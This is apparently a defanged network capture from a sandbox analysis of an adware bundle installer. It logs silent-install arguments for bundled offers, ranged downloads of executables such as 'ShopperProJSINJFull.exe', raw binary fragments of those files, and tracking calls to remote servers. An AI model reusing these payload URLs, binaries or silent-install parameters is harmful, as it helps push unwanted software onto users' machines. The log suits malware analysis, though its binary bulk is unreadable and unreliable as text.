..i...t6...$..4n.X.cC.p..L.#....'p..5.{R,.Gp......|....#O.WvD.5K..<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[pricefountain][exec_args]=/muse /partner=somopf &offers[pricefountain][offer_indexes][slot_number]=3&offers[pricefountain][offer_indexes][index_in_screen]=1&offers[pricefountain][offer_indexes][index_in_session]=3&offers[mystartsearch][exec_args]=-silence -ptid=smt /bi_sponsored_sub_process /run_bi&offers[mystartsearch][offer_indexes][slot_number]=4&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=4&uid_orig=554f0c32df4546428c4cd4ba3636f283&uid=c6f37ce09f7b3c4993073c407a485e5f&tokyo_csrf_key=82d780befb671d357f708e1175f94c3b&tokyo_csrf_timestamp=1420623184&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=7zipqjkz&country=UA&hostBrowser=ff&unique_id=ef16605e62d299cd4043233eed25bb98 HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: ht
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4e8.............Xko.6.. .> .e......].a3.4.........H.FRq. .}.R.c..W.
...ET....{nn.L.`....V...`.C..Y.iT...........CU.q.w../. .....r2...i_Y.i
6P.....U.fZI..`...-...e.Lac.....[....~....qC......p..L/....{........V.
..4......gTfWLCl.%.aJ%....\e@.....B.....p.f....I....J.qRY.p.....].....
5...5..]...../._...rf.m.qG.of>.>.....o..a!....S..N._..B.T}.]r.k&
lt;.._~......7.?......*..(.z<`...A.z$..9..X.T.L...LEc..U..\4J..B...
.].....3-6.&.....D......?.Y..~f..zG.2:....ZQR.U..L...........".|....1.
...Vc.?.C>c...e..\I@.9..BFVy..*..~.YX(...'..0......5<.....z....P
.2W6.U.....n....k..\{.s.Fb..jT.9.....VJ;(9.......t^..!m.k.<...lO...
.y..?..<...............LQ..{.............KKTk.9...OQ.V.H..d..BIP...
......qt...C...[.........h\.r.....a.?.V...j.!S.......T{t.'7.f.x_@D....
..q...}.!.Vz.m....2.9...........D...qW2m%.WF...^.......8^_D......0*_..
....6.../...]\_..-..x|HM.....W...o...V.~o.$.Y.E.<q..b.P....t.......
.....S.!.. k.r.Xc.....|.......f..{..Z.:.......D..b.].....6.N}.q...B..`
_!9x'./Rj.....w.....V$FqJW2N.......X.NJfB....WN......L.. ..o..%..x..Y.
...N._o.C$._7>).\`]....m......f.r.... .Z...k/.(lA{.dR...0.Wg.......
,K:.%.c.}.k..~.mL....(..z.:s>s.4...I.P...F?3.t<...mu....u ..$@.i
.Z.wy|..&q...._....E..... c!e..noY.BU....V]...6:..u....a.%Q...zao8..l.
9......./....(...(.I8..F.(<........ ......0..HTTP/1.1 200 OK..Serve
r: nginx..Date: Wed, 07 Jan 2015 09:33:04 GMT..Content-Type: text/html
; charset=utf-8..Transfer-Encoding: chunked..Vary: Accept-Encoding..Co
ntent-Encoding: gzip..4e8.............Xko.6.. .> .e......].a3.4<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:35:44 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d8fec3bdd1667aa30a0585543daba77ff1420623344; expires=Thu, 07-Jan-16 09:35:44 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Mon, 05 Jan 2015 22:11:10 GMT

Expires: Sun, 11 Jan 2015 09:35:43 GMT

ETag: "e6a05ed55f5d26a862e51008251975a94d30cee5"

Cache-Control: public, max-age=345599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1a4f2ac22ba4159b-FRA
0..........0..... .....0......0...0..........<.|7...@N6p.I.e|..2015
0105221110Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150105221110Z....20150109221110Z."0 0..
. .....0......20140105221110Z0...*.H.............@`9...`..Tp..&..Q..2r
W.v.|q.'A(D@>x.....i.....=.l`.Q..)w...=]].....M.|....I.{...M...6.f.
..d....>.Yq..0..cp....|t.% y<...H1..y..32.....Ia3.nIy.x...JEV...
q..*...a..3.F......lR.t.mTj.....c.D.............k0.....f..4....|.Q....
2.(d6 ..g.".Y..4.S2.Q7.8..i....y*.....0...0...0..........Z..~..M..<
ZYJ....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U..
..Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...
U....Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U...
.Should be ignore by CA0.."0...*.H.............0...........&!(..$.K...
."=f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.
..........bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.
x*.......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ..
.6.M.O.....<5:......r.....]..A.5........0..0...U..........<.|7..
.@N6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0.
.. .......0... .....7....0.0... .......0... .....0......0...*.H.......
...........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......
*.w...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z
.3....L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP...
.<.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 231240

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-308319/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........]..O.h@7B..L....x...........E.C....E.;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}........M..F..@..P....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@..@..P....U..E...~5.E..p..F..2..P
.}....M......u..E..U.H....E..U.........G....M.;>|._^..[............
.U...M..U...V.q.....x..I...........^].j.h..B.......U..M.......t......y
..z..e...u.VRQ.].S.W......Ht.Hu4j..F.P.s......YYP.v.W.F......F.P.s..s.
..YYP.v.W.,....E......}....3.@..e.......j.hX.B......3..E..H.....a...8Y
...X....H...u.........E......}...x.......].j....tB.u..v..z(..YY.......
.j.W.h(..YY.........N....E....PQ.....YY........u..E..p....tN.0(..Y<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1697

content-transfer-encoding: binary

Cache-Control: max-age=409360, public, no-transform, must-revalidate

Last-Modified: Mon, 5 Jan 2015 03:19:06 GMT

Expires: Mon, 12 Jan 2015 03:19:06 GMT

Date: Wed, 07 Jan 2015 09:37:06 GMT

Connection: keep-alive
0..........0..... .....0......0...0...A0?1=0;..U...4VeriSign Class 3 C
ode Signing 2004 CA OCSP Responder..20150105031906Z0s0q0I0... ........
?.@..w.........Y.!......Q...==d6|h.[x....7..`..........cV.!.....201501
05031906Z....20150112031906Z0...*.H..............S.X.....3d*L....._.u.
.M...U...#..kf.?yG$Z...g#..=.R.~..#...S=<.;..K..,.......G..%eUb..'.
..K.vBd..u8`..H..4..\..2.........1.....J........N.......'|....}.xq...9
Y..l.f.[..q)DfS%;.}I......tm>O;.......b.0..(DZ.....x{]..\[...%.D...
. ..NM........5..V.;t.l..2........0...0...0..{.........[..I|.....Zm..0
...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....Veri
Sign Trust Network1;09..U...2Terms of use at hXXps://VVV.verisign.com/
rpa (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA0...140428000
000Z..150729235959Z0?1=0;..U...4VeriSign Class 3 Code Signing 2004 CA 
OCSP Responder0.."0...*.H.............0.........Y....h..@..>.....%.
-.....O...' y.........x..Gw.xF.....?..Z..u,.X.&..........3C..H.l.....f
..;]s!.\"v...|....].@.....K7m2...N......-S.I......5n...G7. ..W....n..*
..-f?EY.......UN...r...........-_.%..,P;b.....)(.P.4...,.%....<..6.
....[r^X.EV..S...5#'Y.. .TD...........0...0...U.......0.0...U.%..0... 
.......0...U...........0... .....0......0f..U. ._0]0[..`.H...E....0L0#
.. .........hXXps://d.symcb.com/cps0%.. .......0...hXXps://d.symcb.com
/rpa0!..U....0...0.1.0...U....TGV-B-1080...U......"...?....`>q..i1o
...0...U.#..0.....Q...==d6|h.[x....70...*.H.............B8@.$..wo.....
.E.....P52"b*@'C\.y.(...n....h.f..7f.....v...pb<...]..|........<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=154160-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 154160

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 154160-308319/308320
g.........t...]....2........U...E.3...t.=....w...P.*g.........t...]...
......U.....S.].VW...U..G...........?........}..M..W.;.s..G.......G..@
... .;.rV3...t..U..].......D..A;.r..]..W....0....~?;.s!.E.....E..M...8
......E...@..@;.r..}.3...3...3. .t..U....48....D..A;.r._^[..].........
....U......P...3..E.SVW....3..W..d$.....D5...B..D5...B..D5...B..D5....
.R....r..G......?.8.....8r..x... .Q............j..U............S..G...
......I...H..J...H.......J...H..J..@..R.Nu.3.........M._^3.[..^....]..
..U....\.P...3..E...S...X..E..M..H..@.VW.E..M..B..u..........$......P.
..........H........H.........v..@.Ou..}..u...#.....#....U..E..x.j.....
.......#...#....M...V..............#...#....M....p $...........#...#..
..M................#.....#.......|..M..............#.#.....*..G.M.....
.......#...#......F0..M............#...#.......F..M..........#.....#..
......i.M..........#.....#.......D..M............#...#......[...M.....
.........#.#.......\..M..............#.#....."..k.M..}............#...
#....}....q..........]..U..}.....#...#....]..E...Cy.......E...#.......
#M..!..I...}..M.....#......#....u..E..b%......@.@.#........#....U.....
.....#.....#.....QZ^&.M..........#.....#..........M..............#.#..
...]./..M..............#.#.....S.D..M............#...#..........M.....
.......#...#..........M.........#......#........!.M.........#......#..
.....7..M............#...#..........M..U.......#........#.......ZE.M..
.....#......#....U..}..................#...#....u..E............#.....
.#....}.....og...........#...#....]..E...L*.....3......3..B9...E..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4687525

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@..@.data................r..........
....@....ndata.......@...........................rsrc................v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@
..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u
....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..
Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/4687525
U.3qEe...#..Z...k.......k)..._!.}...|.(.h.dx....I.....=.02.~.C.....X-.
e=;.N`0..In.}.5.....M.. ......i..<.e.M!.....e...jI.Y..#......r|W...
c.<b.Db..,..p..2 5..T..~@.9...=...EWd.R.Q...l...LW%[.......|...!. 7
...`r.x.A.....(.o.d...}).@.q(....4...3...r.......i.7..s...I.a........F
...}...m9....loqur'.....o.........Ev...K.(Q?...... !,...h.S......g ...
|..nZR.?..v...;r.-~.......g.].....N...A.&....*.....J..S.:... .Ug_A.|..
.U,.;..NL.r..\k...B...Un.N.pD..O.5....s.e...D.Z .?.}.vZ....w....|...XZ
.!....2........".9z,tV..&...2S...H(..Up.<.H3...J ."....)<...Ar..
.....6.T~ .>z.v..d.r0.478Q.b..Z.O.....s..]..%{..Z.0... ..F..l._,...
~N..........fV..%....e........lI..C*0....A..j...P_./q..\U.1....hXp.z.G
.@0....2..}.....x. h..X..s...)...._..&.~-h:~.....w.i'.S......s.w.....r
q..WF..b;MD..&.~.........`.V..q..h-..C.Z.?91...$..j.cDW"8..Y...P...c(.
2y......0.O.p....Dx..>...7,eM.$<5...%X........_xx....;?...v...P.
Q*4....:.YS...U3....B..?w..........k...?..G[..-...........=.....j...|*
..........i2pH>.1..<..sV..U....JA.~J.a......%..j..=/.).:..  $QE:
....X..4.~.n....J..~.\.o.R(~.V......,..t'...EF]f^...`...f....a.w......
..mG#..K.s.....;.....q%.V..2J.._....s.....5.sA..L.....vo.....>....q
L..j..{......}.Ls..q2T2.` ..yX..?M...4P.....M..-..........hn..... A..,
....1..6.&...4.H......a]..Wb.s..7z..pK..2._y..,..l......-l.=...1..L.7~
d.....=...V7..L.. B..d.1. e......4..D... d....70.Z6.K;.y&\x$...J..f...
.c..4^H.....&3R...&.Ho.Wj.@M.'.'...PSa=.t.{.$=.."~...C..\..A......8.:.
6.d.a..Ql ...H..3... ...Y..I..%.}....5q...g...'9.l,..../4..^.k%.q.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/4687525
/.....A...$...X(7.qI.M.r....!..K$.()..t4.J...,...m0......#B.MWR0.....Y
...%......l...Wp.j..3.?a...aHr#.&.W.C..tu...,.L.....t.]......B~..#.}J.
e.?....q@.uN...?...L...W..%;.v......5...,.....>..;.&.......N.6..t.@
9\Z......}..b.....`".^...L0~......,.".,..k..Ht..L.!.VN@....S.T5.*R...v
....2K).......,|...W....3...WP......k.8q.F..&.$.gw.?)S...h.Y...W.Yda..
x{....s)..m..Zv.*..cW.S.|...v.......J....r~9..W.8.m...#..4.|........%.
F...c.1J......I.......(S..-'P..'...m.....*.k.]jlQz!.........n......(..
..yf.f|.e......t.K.......V.M.G.._i....p.......Z7.....t.q@\;{..2...2k'.
)...T.h.v.].%...5Uo5bD..{..'.._(........p...Q.9T...{...F.N.....6......
..v,Q.....hC....>...Op.......y`I...H..)..3..y..j..n/..m.Z.1^m.Qw%..
....4.......^h...Oq0..... 2g|.R......c.4..r.....n-@O4,..\r.5}s.N,.4...
....'..p1......RRu...OL.d.2>(....LU.......\u}./..0..&....dQ.4b`..J)
.._.o,..c...u.!......(...........Pd..0p.....a.],._.....n....H...25...$
z$.0l...Z.f..Nw.....-...jW.F1...0i1...{_a.w8..]..R...{.. ..WY..[T.'&..
.....8..CA..~....A.%....r.#..Ir.j..{.......k..h..WM|U{..<.T.....&.]
kr.....;g.t....<O..#T.\......[w[........;U...4...z&0..Wq... .wx,.4.
..:.'.....b..M0....@^(F..>.Z?.0\t`..A;|..........b.T.y..llu,U.U..1Q
.....J.....U5.Y.Xg.J....0\-.g`?..$.0...G....9|-..6S.7.Z.......|.A%...,
.(Z7bE".m.@.W .|l..Gy>.....g.1..6\v...f..97.q0f...$y..@......2.[..^
.OS.....1]L.j.G.......y.{ T.........i...9../..30.<.%...dU..S84..Nv'
..#...)(..S.p0..:!.V.w..v..h.V......Z.:.'.m<.........<.F..us..R.
X?.....v.....5.9.d.....m...'1..Q,...`..5........@.o./.....X.y..5..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



%Y.WB.X.&*.].]..>.s...Dy.P.........2RP...|....i.Ju.........QN..$...
^..4rJ...........%.w.".,...I...;./...R.V.........p.........!)..I.x....
.T.G. ..L3.....G..{...,ku.il....hA.K..H9EL..o.R.... @9..y....e_]....=.
....ZxE...2<..{u<.#..C4...<..%.`.Jo..../..*........R......H..
....}6...2....2@...6?h..m.I.....;Q...r.B.....X..F...../..=.w.bD..1N.$a
.V1...k..$v.#U.. .R.R......(.Av.(.C..4.5.....&......3.............g)eS
Z...[.....<K.....O.Q.)Z.}.j......A...x....#T.~N<..g.1cA. ##.p.$.
...p&..2....,~...4iQ].J....!..}...-...-m..._.....o9........;/.x.....{.
.p.n=.\}.-$.....RD.....-.."9.......Z....(2q....=....mf.:...t1../.....@
.B.?.A....16=.....[.f............w.U~..A.O.I}.<.., 9.c.i.....>j.
.5.N$..B...iO..H....;...{s.j.'.Lz.TWX.8~..........'.T.I...IW...F..C...
.t.....f..Ejg.....JH!..y.u.d....edR'....Y....a...o..........8.. .*....
.o..3.Ph.|.^.-u..DKK............3e..8.5......]=qs....sV[..L".|.~P.S...
..b..0..A.&............if...Op9..I.d.bwW.I;...zD..l.y>...X...G.i..g
.......uJ.......w......@mz.CK.hz.ja..(..6.....\2....|..@.....4.yr,).h.
fM...R...].8aEV.Y.........u...h.0.u......h..%[.....w...N}.j.........d.
.}.M?q..y.M_p.Y.y.K.....jB..a..h.>.]..H..f.1".M.1...;...$p..`..i.B.
....p.VA5...W p......G...2>.?b.T(..E..&.'...4..x..3..eJ.......W..a5
.w........Y[...!..w..e..RTj.....4.....U).....>3,....8.91...........
......E..~.A..=.z.X....~.i..#B..*^.......LC...]..%<'..`h^..........
3p...te.;.<.b.._.<.0.&9....3//...W...C..P.....O..l.'...d../...Y.
.....$DV..J...@...Y..r[".b..%.K;3....N.....5J.b!.i......r....$5..l<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/4687525
<...U.N..=k'`.1.>wqWa......&Z(.G'J....G...0.R...h< ..U....G.i
...>...y.&...<..qDG..G.x...b.}7.;...m-...T.?.....z....p...g)....
%.....?.3.j.W..=7qcQ,..%..*..lYj.............R..........~..k.p...v..?j
...G.......a<..m...3..._Rp.s....U......lP.8.h{...~...%&..........&g
t;t..3..4.[..K*.-v..7x.}6.^.:. Z....3.........W.Y..M~...q...:.......2.
.%!.W7..%...!.G...k..D....[..J...Wm.Y&..@.H..G..Y.'./ .. G....^...G...
58.>QT.C..n.^.:.nn2...lG.jK..G...H....w..6...l.<...u..........-V
.cS...o....%Mx...........K........a.4.2~.R$j..........f..iJ..LhD.....O
.$.......]...b.tt=(.......n.........;......z.2R..nE..x.../PP)eK.......
..........sQ.....9....P....c>...".O....P]......Q...........O:.~N...
2.c]......25.....E?..V..........u#.[)o.....G.....K.....B.7.;5..y2.mg..
...s..8.. i ...S..|.."...>...X&..e........T..v'g..7..C.b.h.. ....8.
KUB.H..?y1a.1,v......5Q.88..c.hW.......*qi.BRNU....%..G.kQ...in......k
..9%fq.x...S/.u....*...B..}....:85........M...m...S..Y(.u.Y........h..
Y'P..{.;..>.V.|s...Q.......WU.../........1.[.'.&......F....hD._[...
U..N....t.....OSZz....H....WQ.]....f.U?....[}..c..*62..pL..PSe.}....O.
.[j.Y]....0Y.UH...k.".I." w..A....). .S.:;w.N.:s..H*.......#.....`.zI.
...}Cc..*..j.PW....x(.Gu....K`.33..|.h........v...QQ...K.......`.$M!M.
.4'3po).*}..X..t......Z....|p.'v0....vb.'.&.>./E2.,..6...#.~.......
...-i.......4...H......j.5vEX..9;S.b...:....%.A.*.=lT.........."}...Eg
)xD..'$z.]".1.0.3..Z...s....|ek.q....Ed....H.$.I 8....l....Y......4..&
gt;GE....5..&..I..p9_....hm..8......p...........W*..N..&m....8..r.<<< skipped >>>

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45


HTTP/1.1 302 Found

Connection: close

Date: Wed, 07 Jan 2015 09:33:28 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8a
d46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46
-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /p.ashx?e=A3ANzFv7fWAOe2V62UQmji9FH2PLJakfBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaqt W6aVz1gJ0oU leMNxNaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9XVLBCM6-re_Ig2d_oF6VU_-5B8kinM5KR_pj-CkBHUcbvRC9-XGZg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 9XVLBCM6-re_Ig2d_oF6VU_-5
